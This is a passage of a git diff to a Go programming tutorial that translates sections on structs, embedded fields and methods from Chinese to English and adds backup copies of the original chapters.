+![](images/2.4.student_struct.png?raw=true) + +Figure 2.7 Inheritance in Student and Human + +We see that we can access the age and name fields in Student just like we can in Human. This is how embedded fields work. It's very cool, isn't it? Hold on, there's something cooler! You can even use Student to access Human in this embedded field! + + mark.Human = Human{"Marcus", 55, 220} + mark.Human.age -= 1 + +All the types in Go can be used as embedded fields. + + package main + import "fmt" + + type Skills []string + + type Human struct { + name string + age int + weight int + } + + type Student struct { + Human // struct as embedded field + Skills // string slice as embedded field + int // built-in type as embedded field + speciality string + } + + func main() { + // initialize Student Jane + jane := Student{Human:Human{"Jane", 35, 100}, speciality:"Biology"} + // access fields + fmt.Println("Her name is ", jane.name) + fmt.Println("Her age is ", jane.age) + fmt.Println("Her weight is ", jane.weight) + fmt.Println("Her speciality is ", jane.speciality) + // modify value of skill field + jane.Skills = []string{"anatomy"} + fmt.Println("Her skills are ", jane.Skills) + fmt.Println("She acquired two new ones ") + jane.Skills = append(jane.Skills, "physics", "golang") + fmt.Println("Her skills now are ", jane.Skills) + // modify embedded field + jane.int = 3 + fmt.Println("Her preferred number is", jane.int) + } + +In the above example, we can see that all types can be embedded fields and we can use functions to operate on them. + +There is one more problem however. If Human has a field called `phone` and Student has a field with same name, what should we do? + +Go use a very simple way to solve it. The outer fields get upper access levels, which means when you access `student.phone`, we will get the field called phone in student, not the one in the Human struct. This feature can be simply seen as field `overload`ing. + + package main + import "fmt" + + type Human struct { + name string + age int + phone string // Human has phone field + } + + type Employee struct { + Human // embedded field Human + speciality string + phone string // phone in employee + } + + func main() { + Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"} + fmt.Println("Bob's work phone is:", Bob.phone) + // access phone field in Human + fmt.Println("Bob's personal phone is:", Bob.Human.phone) + } + +## Links + +- [Directory](preface.md) +- Previous section: [Control statements and functions](02.3.md) +- Next section: [Object-oriented](02.5.md) diff --git a/en/02.4.md~380a8ee74c41759d8189ad553423467994187253 b/en/02.4.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..5cdbad44 --- /dev/null +++ b/en/02.4.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,213 @@ +# 2.4 struct类型 +## struct +Go语言中,也和C或者其他语言一样,我们可以声明新的类型,作为其它类型的属性或字段的容器。例如,我们可以创建一个自定义类型`person`代表一个人的实体。这个实体拥有属性:姓名和年龄。这样的类型我们称之`struct`。如下代码所示: + + type person struct { + name string + age int + } +看到了吗?声明一个struct如此简单,上面的类型包含有两个字段 +- 一个string类型的字段name,用来保存用户名称这个属性 +- 一个int类型的字段age,用来保存用户年龄这个属性 + +如何使用struct呢?请看下面的代码 + + type person struct { + name string + age int + } + + var P person // P现在就是person类型的变量了 + + P.name = "Astaxie" // 赋值"Astaxie"给P的name属性. + P.age = 25 // 赋值"25"给变量P的age属性 + fmt.Printf("The person's name is %s", P.name) // 访问P的name属性. +除了上面这种P的声明使用之外,还有另外几种声明使用方式: + +- 1.按照顺序提供初始化值 + + P := person{"Tom", 25} + +- 2.通过`field:value`的方式初始化,这样可以任意顺序 + + P := person{age:24, name:"Tom"} + +- 3.当然也可以通过`new`函数分配一个指针,此处P的类型为*person + + P := new(person) + +下面我们看一个完整的使用struct的例子 + + package main + import "fmt" + + // 声明一个新的类型 + type person struct { + name string + age int + } + + // 比较两个人的年龄,返回年龄大的那个人,并且返回年龄差 + // struct也是传值的 + func Older(p1, p2 person) (person, int) { + if p1.age>p2.age { // 比较p1和p2这两个人的年龄 + return p1, p1.age-p2.age + } + return p2, p2.age-p1.age + } + + func main() { + var tom person + + // 赋值初始化 + tom.name, tom.age = "Tom", 18 + + // 两个字段都写清楚的初始化 + bob := person{age:25, name:"Bob"} + + // 按照struct定义顺序初始化值 + paul := person{"Paul", 43} + + tb_Older, tb_diff := Older(tom, bob) + tp_Older, tp_diff := Older(tom, paul) + bp_Older, bp_diff := Older(bob, paul) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", + tom.name, bob.name, tb_Older.name, tb_diff) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", + tom.name, paul.name, tp_Older.name, tp_diff) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", + bob.name, paul.name, bp_Older.name, bp_diff) + } + +### struct的匿名字段 +我们上面介绍了如何定义一个struct,定义的时候是字段名与其类型一一对应,实际上Go支持只提供类型,而不写字段名的方式,也就是匿名字段,也称为嵌入字段。 + +当匿名字段是一个struct的时候,那么这个struct所拥有的全部字段都被隐式地引入了当前定义的这个struct。 + +让我们来看一个例子,让上面说的这些更具体化 + + package main + import "fmt" + + type Human struct { + name string + age int + weight int + } + + type Student struct { + Human // 匿名字段,那么默认Student就包含了Human的所有字段 + speciality string + } + + func main() { + // 我们初始化一个学生 + mark := Student{Human{"Mark", 25, 120}, "Computer Science"} + + // 我们访问相应的字段 + fmt.Println("His name is ", mark.name) + fmt.Println("His age is ", mark.age) + fmt.Println("His weight is ", mark.weight) + fmt.Println("His speciality is ", mark.speciality) + // 修改对应的备注信息 + mark.speciality = "AI" + fmt.Println("Mark changed his speciality") + fmt.Println("His speciality is ", mark.speciality) + // 修改他的年龄信息 + fmt.Println("Mark become old") + mark.age = 46 + fmt.Println("His age is", mark.age) + // 修改他的体重信息 + fmt.Println("Mark is not an athlet anymore") + mark.weight += 60 + fmt.Println("His weight is", mark.weight) + } + +图例如下: + +![](images/2.4.student_struct.png?raw=true) + +图2.7 struct组合,Student组合了Human struct和string基本类型 + +我们看到Student访问属性age和name的时候,就像访问自己所有用的字段一样,对,匿名字段就是这样,能够实现字段的继承。是不是很酷啊?还有比这个更酷的呢,那就是student还能访问Human这个字段作为字段名。请看下面的代码,是不是更酷了。 + + mark.Human = Human{"Marcus", 55, 220} + mark.Human.age -= 1 + +通过匿名访问和修改字段相当的有用,但是不仅仅是struct字段哦,所有的内置类型和自定义类型都是可以作为匿名字段的。请看下面的例子 + + package main + import "fmt" + + type Skills []string + + type Human struct { + name string + age int + weight int + } + + type Student struct { + Human // 匿名字段,struct + Skills // 匿名字段,自定义的类型string slice + int // 内置类型作为匿名字段 + speciality string + } + + func main() { + // 初始化学生Jane + jane := Student{Human:Human{"Jane", 35, 100}, speciality:"Biology"} + // 现在我们来访问相应的字段 + fmt.Println("Her name is ", jane.name) + fmt.Println("Her age is ", jane.age) + fmt.Println("Her weight is ", jane.weight) + fmt.Println("Her speciality is ", jane.speciality) + // 我们来修改他的skill技能字段 + jane.Skills = []string{"anatomy"} + fmt.Println("Her skills are ", jane.Skills) + fmt.Println("She acquired two new ones ") + jane.Skills = append(jane.Skills, "physics", "golang") + fmt.Println("Her skills now are ", jane.Skills) + // 修改匿名内置类型字段 + jane.int = 3 + fmt.Println("Her preferred number is", jane.int) + } + +从上面例子我们看出来struct不仅仅能够将struct作为匿名字段、自定义类型、内置类型都可以作为匿名字段,而且可以在相应的字段上面进行函数操作(如例子中的append)。 + +这里有一个问题:如果human里面有一个字段叫做phone,而student也有一个字段叫做phone,那么该怎么办呢? + +Go里面很简单的解决了这个问题,最外层的优先访问,也就是当你通过`student.phone`访问的时候,是访问student里面的字段,而不是human里面的字段。 + +这样就允许我们去重载通过匿名字段继承的一些字段,当然如果我们想访问重载后对应匿名类型里面的字段,可以通过匿名字段名来访问。请看下面的例子 + + package main + import "fmt" + + type Human struct { + name string + age int + phone string // Human类型拥有的字段 + } + + type Employee struct { + Human // 匿名字段Human + speciality string + phone string // 雇员的phone字段 + } + + func main() { + Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"} + fmt.Println("Bob's work phone is:", Bob.phone) + // 如果我们要访问Human的phone字段 + fmt.Println("Bob's personal phone is:", Bob.Human.phone) + } + + +## links + * [目录]() + * 上一章: [流程和函数](<02.3.md>) + * 下一节: [面向对象](<02.5.md>) diff --git a/en/02.5.md b/en/02.5.md index 71c39fac..c187beb6 100644 --- a/en/02.5.md +++ b/en/02.5.md @@ -1,325 +1,307 @@ -# 2.5 面向对象 -前面两章我们介绍了函数和struct,那你是否想过函数当作struct的字段一样来处理呢?今天我们就讲解一下函数的另一种形态,带有接收者的函数,我们称为`method` - -## method -现在假设有这么一个场景,你定义了一个struct叫做长方形,你现在想要计算他的面积,那么按照我们一般的思路应该会用下面的方式来实现 - - package main - import "fmt" - - type Rectangle struct { - width, height float64 - } - - func area(r Rectangle) float64 { - return r.width*r.height - } - - func main() { - r1 := Rectangle{12, 2} - r2 := Rectangle{9, 4} - fmt.Println("Area of r1 is: ", area(r1)) - fmt.Println("Area of r2 is: ", area(r2)) - } - -这段代码可以计算出来长方形的面积,但是area()不是作为Rectangle的方法实现的(类似面向对象里面的方法),而是将Rectangle的对象(如r1,r2)作为参数传入函数计算面积的。 - -这样实现当然没有问题咯,但是当需要增加圆形、正方形、五边形甚至其它多边形的时候,你想计算他们的面积的时候怎么办啊?那就只能增加新的函数咯,但是函数名你就必须要跟着换了,变成`area_rectangle, area_circle, area_triangle...` - -像下图所表示的那样, 椭圆代表函数, 而这些函数并不从属于struct(或者以面向对象的术语来说,并不属于class),他们是单独存在于struct外围,而非在概念上属于某个struct的。 - -![](images/2.5.rect_func_without_receiver.png?raw=true) - -图2.8 方法和struct的关系图 - -很显然,这样的实现并不优雅,并且从概念上来说"面积"是"形状"的一个属性,它是属于这个特定的形状的,就像长方形的长和宽一样。 - -基于上面的原因所以就有了`method`的概念,`method`是附属在一个给定的类型上的,他的语法和函数的声明语法几乎一样,只是在`func`后面增加了一个receiver(也就是method所依从的主体)。 - -用上面提到的形状的例子来说,method `area()` 是依赖于某个形状(比如说Rectangle)来发生作用的。Rectangle.area()的发出者是Rectangle, area()是属于Rectangle的方法,而非一个外围函数。 - -更具体地说,Rectangle存在字段length 和 width, 同时存在方法area(), 这些字段和方法都属于Rectangle。 - -用Rob Pike的话来说就是: - ->"A method is a function with an implicit first argument, called a receiver." - -method的语法如下: - - func (r ReceiverType) funcName(parameters) (results) - -下面我们用最开始的例子用method来实现: - - package main - import ( - "fmt" - "math" - ) - - type Rectangle struct { - width, height float64 - } - - type Circle struct { - radius float64 - } - - func (r Rectangle) area() float64 { - return r.width*r.height - } - - func (c Circle) area() float64 { - return c.radius * c.radius * math.Pi - } - - - func main() { - r1 := Rectangle{12, 2} - r2 := Rectangle{9, 4} - c1 := Circle{10} - c2 := Circle{25} - - fmt.Println("Area of r1 is: ", r1.area()) - fmt.Println("Area of r2 is: ", r2.area()) - fmt.Println("Area of c1 is: ", c1.area()) - fmt.Println("Area of c2 is: ", c2.area()) - } - - - -在使用method的时候重要注意几点 - -- 虽然method的名字一模一样,但是如果接收者不一样,那么method就不一样 -- method里面可以访问接收者的字段 -- 调用method通过`.`访问,就像struct里面访问字段一样 - -图示如下: - -![](images/2.5.shapes_func_with_receiver_cp.png?raw=true) - -图2.9 不同struct的method不同 - -在上例,method area() 分别属于Rectangle和Circle, 于是他们的 Receiver 就变成了Rectangle 和 Circle, 或者说,这个area()方法 是由 Rectangle/Circle 发出的。 - ->值得说明的一点是,图示中method用虚线标出,意思是此处方法的Receiver是以值传递,而非引用传递,是的,Receiver还可以是指针, 两者的差别在于, 指针作为Receiver会对实例对象的内容发生操作,而普通类型作为Receiver仅仅是以副本作为操作对象,并不对原实例对象发生操作。后文对此会有详细论述。 - -那是不是method只能作用在struct上面呢?当然不是咯,他可以定义在任何你自定义的类型、内置类型、struct等各种类型上面。这里你是不是有点迷糊了,什么叫自定义类型,自定义类型不就是struct嘛,不是这样的哦,struct只是自定义类型里面一种比较特殊的类型而已,还有其他自定义类型申明,可以通过如下这样的申明来实现。 - - type typeName typeLiteral - -请看下面这个申明自定义类型的代码 - - type ages int - - type money float32 - - type months map[string]int - - m := months { - "January":31, - "February":28, - ... - "December":31, - } - -看到了吗?简单的很吧,这样你就可以在自己的代码里面定义有意义的类型了,实际上只是一个定义了一个别名,有点类似于c中的typedef,例如上面ages替代了int - -好了,让我们回到`method` - -你可以在任何的自定义类型中定义任意多的`method`,接下来让我们看一个复杂一点的例子 - - package main - import "fmt" - - const( - WHITE = iota - BLACK - BLUE - RED - YELLOW - ) - - type Color byte - - type Box struct { - width, height, depth float64 - color Color - } - - type BoxList []Box //a slice of boxes - - func (b Box) Volume() float64 { - return b.width * b.height * b.depth - } - - func (b *Box) SetColor(c Color) { - b.color = c - } - - func (bl BoxList) BiggestColor() Color { - v := 0.00 - k := Color(WHITE) - for _, b := range bl { - if bv := b.Volume(); bv > v { - v = bv - k = b.color - } - } - return k - } - - func (bl BoxList) PaintItBlack() { - for i, _ := range bl { - bl[i].SetColor(BLACK) - } - } - - func (c Color) String() string { - strings := []string {"WHITE", "BLACK", "BLUE", "RED", "YELLOW"} - return strings[c] - } - - func main() { - boxes := BoxList { - Box{4, 4, 4, RED}, - Box{10, 10, 1, YELLOW}, - Box{1, 1, 20, BLACK}, - Box{10, 10, 1, BLUE}, - Box{10, 30, 1, WHITE}, - Box{20, 20, 20, YELLOW}, - } - - fmt.Printf("We have %d boxes in our set\n", len(boxes)) - fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³") - fmt.Println("The color of the last one is",boxes[len(boxes)-1].color.String()) - fmt.Println("The biggest one is", boxes.BiggestColor().String()) - - fmt.Println("Let's paint them all black") - boxes.PaintItBlack() - fmt.Println("The color of the second one is", boxes[1].color.String()) - - fmt.Println("Obviously, now, the biggest one is", boxes.BiggestColor().String()) - } - -上面的代码通过const定义了一些常量,然后定义了一些自定义类型 - -- Color作为byte的别名 -- 定义了一个struct:Box,含有三个长宽高字段和一个颜色属性 -- 定义了一个slice:BoxList,含有Box - -然后以上面的自定义类型为接收者定义了一些method - -- Volume()定义了接收者为Box,返回Box的容量 -- SetColor(c Color),把Box的颜色改为c -- BiggestColor()定在在BoxList上面,返回list里面容量最大的颜色 -- PaintItBlack()把BoxList里面所有Box的颜色全部变成黑色 -- String()定义在Color上面,返回Color的具体颜色(字符串格式) - -上面的代码通过文字描述出来之后是不是很简单?我们一般解决问题都是通过问题的描述,去写相应的代码实现。 - -### 指针作为receiver -现在让我们回过头来看看SetColor这个method,它的receiver是一个指向Box的指针,是的,你可以使用*Box。想想为啥要使用指针而不是Box本身呢? - -我们定义SetColor的真正目的是想改变这个Box的颜色,如果不传Box的指针,那么SetColor接受的其实是Box的一个copy,也就是说method内对于颜色值的修改,其实只作用于Box的copy,而不是真正的Box。所以我们需要传入指针。 - -这里可以把receiver当作method的第一个参数来看,然后结合前面函数讲解的传值和传引用就不难理解 - -这里你也许会问了那SetColor函数里面应该这样定义`*b.Color=c`,而不是`b.Color=c`,因为我们需要读取到指针相应的值。 - -你是对的,其实Go里面这两种方式都是正确的,当你用指针去访问相应的字段时(虽然指针没有任何的字段),Go知道你要通过指针去获取这个值,看到了吧,Go的设计是不是越来越吸引你了。 - -也许细心的读者会问这样的问题,PaintItBlack里面调用SetColor的时候是不是应该写成`(&bl[i]).SetColor(BLACK)`,因为SetColor的receiver是*Box,而不是Box。 - -你又说对的,这两种方式都可以,因为Go知道receiver是指针,他自动帮你转了。 - -也就是说: ->如果一个method的receiver是*T,你可以在一个T类型的实例变量V上面调用这个method,而不需要&V去调用这个method - -类似的 ->如果一个method的receiver是T,你可以在一个*T类型的变量P上面调用这个method,而不需要 *P去调用这个method - -所以,你不用担心你是调用的指针的method还是不是指针的method,Go知道你要做的一切,这对于有多年C/C++编程经验的同学来说,真是解决了一个很大的痛苦。 - -### method继承 -前面一章我们学习了字段的继承,那么你也会发现Go的一个神奇之处,method也是可以继承的。如果匿名字段实现了一个method,那么包含这个匿名字段的struct也能调用该method。让我们来看下面这个例子 - - package main - import "fmt" - - type Human struct { - name string - age int - phone string - } - - type Student struct { - Human //匿名字段 - school string - } - - type Employee struct { - Human //匿名字段 - company string - } - - //在human上面定义了一个method - func (h *Human) SayHi() { - fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) - } - - func main() { - mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} - sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} - - mark.SayHi() - sam.SayHi() - } - -### method重写 -上面的例子中,如果Employee想要实现自己的SayHi,怎么办?简单,和匿名字段冲突一样的道理,我们可以在Employee上面定义一个method,重写了匿名字段的方法。请看下面的例子 - - package main - import "fmt" - - type Human struct { - name string - age int - phone string - } - - type Student struct { - Human //匿名字段 - school string - } - - type Employee struct { - Human //匿名字段 - company string - } - - //Human定义method - func (h *Human) SayHi() { - fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) - } - - //Employee的method重写Human的method - func (e *Employee) SayHi() { - fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, - e.company, e.phone) //Yes you can split into 2 lines here. - } - - func main() { - mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} - sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} - - mark.SayHi() - sam.SayHi() - } - -上面的代码设计的是如此的美妙,让人不自觉的为Go的设计惊叹! - -通过这些内容,我们可以设计出基本的面向对象的程序了,但是Go里面的面向对象是如此的简单,没有任何的私有、公有关键字,通过大小写来实现(大写开头的为公有,小写开头的为私有),方法也同样适用这个原则。 -## links - * [目录]() - * 上一章: [struct类型](<02.4.md>) - * 下一节: [interface](<02.6.md>) +# Object-oriented + +We talked about functions and structs in the last two sections, but did you ever consider using functions as fields of a struct? In this section, I will introduce you to another form of method that has a receiver, which is called `method`. + +## method + +Suppose you define a "rectangle" struct and you want to calculate its area. We'd typically use the following code to achieve this goal. + + package main + import "fmt" + + type Rectangle struct { + width, height float64 + } + + func area(r Rectangle) float64 { + return r.width*r.height + } + + func main() { + r1 := Rectangle{12, 2} + r2 := Rectangle{9, 4} + fmt.Println("Area of r1 is: ", area(r1)) + fmt.Println("Area of r2 is: ", area(r2)) + } + +The above example can calculate a rectangle's area. We use the function called `area`, but it's not a method of the rectangle struct (like class methods in classic object-oriented languages). The function and struct are two independent things as you may notice. + +It's not a problem so far. However, if you also have to calculate the area of a circle, square, pentagon, or any other kind of shape, you are going to need to add additional functions with very similar names. + +![](images/2.5.rect_func_without_receiver.png?raw=true) + +Figure 2.8 Relationship between function and struct + +Obviously that's not cool. Also, the area should really be the property of a circle or rectangle. + +For those reasons, we have the `method` concept. `method` is affiliated with type. It has the same syntax as functions do except for an additional parameter after the `func` keyword called the `receiver`, which is the main body of that method. + +Using the same example, `Rectangle.area()` belongs directly to rectangle, instead of as a peripheral function. More specifically, `length`, `width` and `area()` all belong to rectangle. + +As Rob Pike said. + + "A method is a function with an implicit first argument, called a receiver." + +Syntax of method. + + func (r ReceiverType) funcName(parameters) (results) + +Let's change our example using `method` instead. + + package main + import ( + "fmt" + "math" + ) + + type Rectangle struct { + width, height float64 + } + + type Circle struct { + radius float64 + } + + func (r Rectangle) area() float64 { + return r.width*r.height + } + + func (c Circle) area() float64 { + return c.radius * c.radius * math.Pi + } + + func main() { + r1 := Rectangle{12, 2} + r2 := Rectangle{9, 4} + c1 := Circle{10} + c2 := Circle{25} + + fmt.Println("Area of r1 is: ", r1.area()) + fmt.Println("Area of r2 is: ", r2.area()) + fmt.Println("Area of c1 is: ", c1.area()) + fmt.Println("Area of c2 is: ", c2.area()) + } + +Notes for using methods. + +- If the name of methods are the same but they don't share the same receivers, they are not the same. +- Methods are able to access fields within receivers. +- Use `.` to call a method in the struct, the same way fields are called. + +![](images/2.5.shapes_func_with_receiver_cp.png?raw=true) + +Figure 2.9 Methods are different in different structs + +In the example above, the area() methods belong to both Rectangle and Circle respectively, so the receivers are Rectangle and Circle. + +One thing that's worth noting is that the method with a dotted line means the receiver is passed by value, not by reference. The difference between them is that a method can change its receiver's values when the receiver is passed by reference, and it gets a copy of the receiver when the receiver is passed by value. + +Can the receiver only be a struct? Of course not. Any type can be the receiver of a method. You may be confused about customized types. Struct is a special kind of customized type -there are more customized types. + +Use the following format to define a customized type. + + type typeName typeLiteral + +Examples of customized types: + + type ages int + + type money float32 + + type months map[string]int + + m := months { + "January":31, + "February":28, + ... + "December":31, + } + +I hope that you know how to use customized types now. Similar to `typedef` in C, we use `ages` to substitute `int` in the above example. + +Let's get back to talking about `method`. + +You can use as many methods in custom types as you want. + + package main + import "fmt" + + const( + WHITE = iota + BLACK + BLUE + RED + YELLOW + ) + + type Color byte + + type Box struct { + width, height, depth float64 + color Color + } + + type BoxList []Box //a slice of boxes + + func (b Box) Volume() float64 { + return b.width * b.height * b.depth + } + + func (b *Box) SetColor(c Color) { + b.color = c + } + + func (bl BoxList) BiggestsColor() Color { + v := 0.00 + k := Color(WHITE) + for _, b := range bl { + if b.Volume() > v { + v = b.Volume() + k = b.color + } + } + return k + } + + func (bl BoxList) PaintItBlack() { + for i, _ := range bl { + bl[i].SetColor(BLACK) + } + } + + func (c Color) String() string { + strings := []string {"WHITE", "BLACK", "BLUE", "RED", "YELLOW"} + return strings[c] + } + + func main() { + boxes := BoxList { + Box{4, 4, 4, RED}, + Box{10, 10, 1, YELLOW}, + Box{1, 1, 20, BLACK}, + Box{10, 10, 1, BLUE}, + Box{10, 30, 1, WHITE}, + Box{20, 20, 20, YELLOW}, + } + + fmt.Printf("We have %d boxes in our set\n", len(boxes)) + fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³") + fmt.Println("The color of the last one is",boxes[len(boxes)-1].color.String()) + fmt.Println("The biggest one is", boxes.BiggestsColor().String()) + + fmt.Println("Let's paint them all black") + boxes.PaintItBlack() + fmt.Println("The color of the second one is", boxes[1].color.String()) + + fmt.Println("Obviously, now, the biggest one is", boxes.BiggestsColor().String()) + } + +We define some constants and customized types. + +- Use `Color` as alias of `byte`. +- Define a struct `Box` which has fields height, width, length and color. +- Define a struct `BoxList` which has `Box` as its field. + +Then we defined some methods for our customized types. + +- Volume() uses Box as its receiver and returns volume of Box. +- SetColor(c Color) changes Box's color. +- BiggestsColor() returns the color which has the biggest volume. +- PaintItBlack() sets color for all Box in BoxList to black. +- String() use Color as its receiver, returns the string format of color name. + +Is it much clearer when we use words to describe our requirements? We often write our requirements before we start coding. + +### Use pointer as receiver + +Let's take a look at `SetColor` method. Its receiver is a pointer of Box. Yes, you can use `*Box` as a receiver. Why do we use a pointer here? Because we want to change Box's color in this method. Thus, if we don't use a pointer, it will only change the value inside a copy of Box. + +If we see that a receiver is the first argument of a method, it's not hard to understand how it works. + +You might be asking why we aren't using `(*b).Color=c` instead of `b.Color=c` in the SetColor() method. Either one is OK here because Go knows how to interpret the assignment. Do you think Go is more fascinating now? + +You may also be asking whether we should use `(&bl[i]).SetColor(BLACK)` in `PaintItBlack` because we pass a pointer to `SetColor`. Again, either one is OK because Go knows how to interpret it! + +### Inheritance of method + +We learned about inheritance of fields in the last section. Similarly, we also have method inheritance in Go. If an anonymous field has methods, then the struct that contains the field will have all the methods from it as well. + + package main + import "fmt" + + type Human struct { + name string + age int + phone string + } + + type Student struct { + Human // anonymous field + school string + } + + type Employee struct { + Human + company string + } + + // define a method in Human + func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) + } + + func main() { + mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} + sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} + + mark.SayHi() + sam.SayHi() + } + +### Method overload + +If we want Employee to have its own method `SayHi`, we can define a method that has the same name in Employee, and it will hide `SayHi` in Human when we call it. + + package main + import "fmt" + + type Human struct { + name string + age int + phone string + } + + type Student struct { + Human + school string + } + + type Employee struct { + Human + company string + } + + func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) + } + + func (e *Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //Yes you can split into 2 lines here. + } + + func main() { + mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} + sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} + + mark.SayHi() + sam.SayHi() + } + +You are able to write an Object-oriented program now, and methods use rule of capital letter to decide whether public or private as well. + +## Links + +- [Directory](preface.md) +- Previous section: [struct](02.4.md) +- Next section: [interface](02.6.md) diff --git a/en/02.5.md~380a8ee74c41759d8189ad553423467994187253 b/en/02.5.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..63d22239 --- /dev/null +++ b/en/02.5.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,325 @@ +# 2.5 面向对象 +前面两章我们介绍了函数和struct,那你是否想过函数当作struct的字段一样来处理呢?今天我们就讲解一下函数的另一种形态,带有接收者的函数,我们称为`method` + +## method +现在假设有这么一个场景,你定义了一个struct叫做长方形,你现在想要计算他的面积,那么按照我们一般的思路应该会用下面的方式来实现 + + package main + import "fmt" + + type Rectangle struct { + width, height float64 + } + + func area(r Rectangle) float64 { + return r.width*r.height + } + + func main() { + r1 := Rectangle{12, 2} + r2 := Rectangle{9, 4} + fmt.Println("Area of r1 is: ", area(r1)) + fmt.Println("Area of r2 is: ", area(r2)) + } + +这段代码可以计算出来长方形的面积,但是area()不是作为Rectangle的方法实现的(类似面向对象里面的方法),而是将Rectangle的对象(如r1,r2)作为参数传入函数计算面积的。 + +这样实现当然没有问题咯,但是当需要增加圆形、正方形、五边形甚至其它多边形的时候,你想计算他们的面积的时候怎么办啊?那就只能增加新的函数咯,但是函数名你就必须要跟着换了,变成`area_rectangle, area_circle, area_triangle...` + +像下图所表示的那样, 椭圆代表函数, 而这些函数并不从属于struct(或者以面向对象的术语来说,并不属于class),他们是单独存在于struct外围,而非在概念上属于某个struct的。 + +![](images/2.5.rect_func_without_receiver.png?raw=true) + +图2.8 方法和struct的关系图 + +很显然,这样的实现并不优雅,并且从概念上来说"面积"是"形状"的一个属性,它是属于这个特定的形状的,就像长方形的长和宽一样。 + +基于上面的原因所以就有了`method`的概念,`method`是附属在一个给定的类型上的,他的语法和函数的声明语法几乎一样,只是在`func`后面增加了一个receiver(也就是method所依从的主体)。 + +用上面提到的形状的例子来说,method `area()` 是依赖于某个形状(比如说Rectangle)来发生作用的。Rectangle.area()的发出者是Rectangle, area()是属于Rectangle的方法,而非一个外围函数。 + +更具体地说,Rectangle存在字段length 和 width, 同时存在方法area(), 这些字段和方法都属于Rectangle。 + +用Rob Pike的话来说就是: + +>"A method is a function with an implicit first argument, called a receiver." + +method的语法如下: + + func (r ReceiverType) funcName(parameters) (results) + +下面我们用最开始的例子用method来实现: + + package main + import ( + "fmt" + "math" + ) + + type Rectangle struct { + width, height float64 + } + + type Circle struct { + radius float64 + } + + func (r Rectangle) area() float64 { + return r.width*r.height + } + + func (c Circle) area() float64 { + return c.radius * c.radius * math.Pi + } + + + func main() { + r1 := Rectangle{12, 2} + r2 := Rectangle{9, 4} + c1 := Circle{10} + c2 := Circle{25} + + fmt.Println("Area of r1 is: ", r1.area()) + fmt.Println("Area of r2 is: ", r2.area()) + fmt.Println("Area of c1 is: ", c1.area()) + fmt.Println("Area of c2 is: ", c2.area()) + } + + + +在使用method的时候重要注意几点 + +- 虽然method的名字一模一样,但是如果接收者不一样,那么method就不一样 +- method里面可以访问接收者的字段 +- 调用method通过`.`访问,就像struct里面访问字段一样 + +图示如下: + +![](images/2.5.shapes_func_with_receiver_cp.png?raw=true) + +图2.9 不同struct的method不同 + +在上例,method area() 分别属于Rectangle和Circle, 于是他们的 Receiver 就变成了Rectangle 和 Circle, 或者说,这个area()方法 是由 Rectangle/Circle 发出的。 + +>值得说明的一点是,图示中method用虚线标出,意思是此处方法的Receiver是以值传递,而非引用传递,是的,Receiver还可以是指针, 两者的差别在于, 指针作为Receiver会对实例对象的内容发生操作,而普通类型作为Receiver仅仅是以副本作为操作对象,并不对原实例对象发生操作。后文对此会有详细论述。 + +那是不是method只能作用在struct上面呢?当然不是咯,他可以定义在任何你自定义的类型、内置类型、struct等各种类型上面。这里你是不是有点迷糊了,什么叫自定义类型,自定义类型不就是struct嘛,不是这样的哦,struct只是自定义类型里面一种比较特殊的类型而已,还有其他自定义类型申明,可以通过如下这样的申明来实现。 + + type typeName typeLiteral + +请看下面这个申明自定义类型的代码 + + type ages int + + type money float32 + + type months map[string]int + + m := months { + "January":31, + "February":28, + ... + "December":31, + } + +看到了吗?简单的很吧,这样你就可以在自己的代码里面定义有意义的类型了,实际上只是一个定义了一个别名,有点类似于c中的typedef,例如上面ages替代了int + +好了,让我们回到`method` + +你可以在任何的自定义类型中定义任意多的`method`,接下来让我们看一个复杂一点的例子 + + package main + import "fmt" + + const( + WHITE = iota + BLACK + BLUE + RED + YELLOW + ) + + type Color byte + + type Box struct { + width, height, depth float64 + color Color + } + + type BoxList []Box //a slice of boxes + + func (b Box) Volume() float64 { + return b.width * b.height * b.depth + } + + func (b *Box) SetColor(c Color) { + b.color = c + } + + func (bl BoxList) BiggestColor() Color { + v := 0.00 + k := Color(WHITE) + for _, b := range bl { + if bv := b.Volume(); bv > v { + v = bv + k = b.color + } + } + return k + } + + func (bl BoxList) PaintItBlack() { + for i, _ := range bl { + bl[i].SetColor(BLACK) + } + } + + func (c Color) String() string { + strings := []string {"WHITE", "BLACK", "BLUE", "RED", "YELLOW"} + return strings[c] + } + + func main() { + boxes := BoxList { + Box{4, 4, 4, RED}, + Box{10, 10, 1, YELLOW}, + Box{1, 1, 20, BLACK}, + Box{10, 10, 1, BLUE}, + Box{10, 30, 1, WHITE}, + Box{20, 20, 20, YELLOW}, + } + + fmt.Printf("We have %d boxes in our set\n", len(boxes)) + fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³") + fmt.Println("The color of the last one is",boxes[len(boxes)-1].color.String()) + fmt.Println("The biggest one is", boxes.BiggestColor().String()) + + fmt.Println("Let's paint them all black") + 